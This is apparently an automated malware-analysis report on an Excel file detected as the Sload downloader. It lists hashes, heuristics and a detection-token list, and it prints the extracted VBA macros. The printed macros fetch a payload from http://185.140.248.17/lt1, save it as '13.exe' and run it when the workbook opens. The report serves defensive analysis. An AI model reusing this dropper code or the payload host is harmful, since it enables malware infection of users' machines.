Xls.Downloader.Sload-6998431-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 1ea33acdfd21085c…

MALICIOUS

Office (OLE)

153.2 KB Created: 2019-05-18 07:27:21 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: fe2719f3ad5a77fa80b85888079cc2bc SHA-1: f24268195e80aa826df1a5f5a924fe62afdf7285 SHA-256: 1ea33acdfd21085c06a97d0ff240a55de8fb2496900bd6fd0e03247d107e80ca
270 Risk Score

Malware Insights

Xls.Downloader.Sload-6998431-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file is an Excel document containing VBA macros that are triggered by the Workbook_Open event. The macros utilize CreateObject to download a file from a remote URL and execute it. This behavior is consistent with a downloader malware. The ClamAV signature also identifies it as a downloader.

Heuristics 8

  • ClamAV: Xls.Downloader.Sload-6998431-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Sload-6998431-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write Stack1.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Stack1 = CreateObject(UserForm1.Label1.Caption)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub WorkBook_open()
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.140.248.17/lt1 Referenced by macro
    • http://tl.symcd.com0&Referenced by macro
    • http://t2.symcb.com0Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://tl.symcb.com/tl.crl0Referenced by macro
    • https://www.thawte.com/cps0/Referenced by macro
    • https://www.thawte.com/repository0WReferenced by macro
    • http://tl.symcb.com/tl.crt0Referenced by macro
    • http://t1.symcb.com/ThawtePCA.crl0Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas🔏 SignedVBA project digital signature
Covers VBA source only — not the compiled p-code. A digital signature does not by itself mean the macro is safe.
vba-macro oletools.olevba.extract_macros (decoded VBA source) 2616 bytes
SHA-256: 23f6fc125add99224b9aa5c2138057bb5ee91367f384af4a9f21b42bfc80b543
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
UserForm2.Show



End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub hips()
ExecuteExcel4Macro "MESSAGE(True, ""dialog"")"

Dim time
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")


Set Stack1 = CreateObject(UserForm1.Label1.Caption)
Dim varSet3
Set II11 = CreateObject(UserForm1.Label2.Caption)
Dim varSet4


End Sub



Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{167FA7DD-1AC9-4D3B-A910-E59B5420321A}{B12DB95F-6608-4A35-A862-823BAF8172B7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub Label5_Click()
Dim varSet5
Stack1.Open Me.Label3.Caption, Me.TextBox3.Tag, False
Dim varSet6
End Sub

Public Sub S1000()

End Sub
Public Sub frfr4()

End Sub

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub stvb113()

Sheet1.hips
UserForm1.Label5_Click
Stack1.Send

With II11
    .Type = 1
End With
    II11.Open
With II11
    .write Stack1.responseBody

End With
    II11.savetofile "13.e" & "xe", 2
ExecuteExcel4Macro UserForm1.TextBox3.Text



End Sub

Attribute VB_Name = "Module1"
Public Stack1 As Object
 Public II11 As Object

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{59240F48-5E27-4263-9569-99FA61E54136}{C4D303EE-64DD-485F-9FDD-9D85330B2E8E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()

    Dim c As New Class1
c.stvb113

ExecuteExcel4Macro "MESSAGE(True, ""777777"")"
Unload Me
End Sub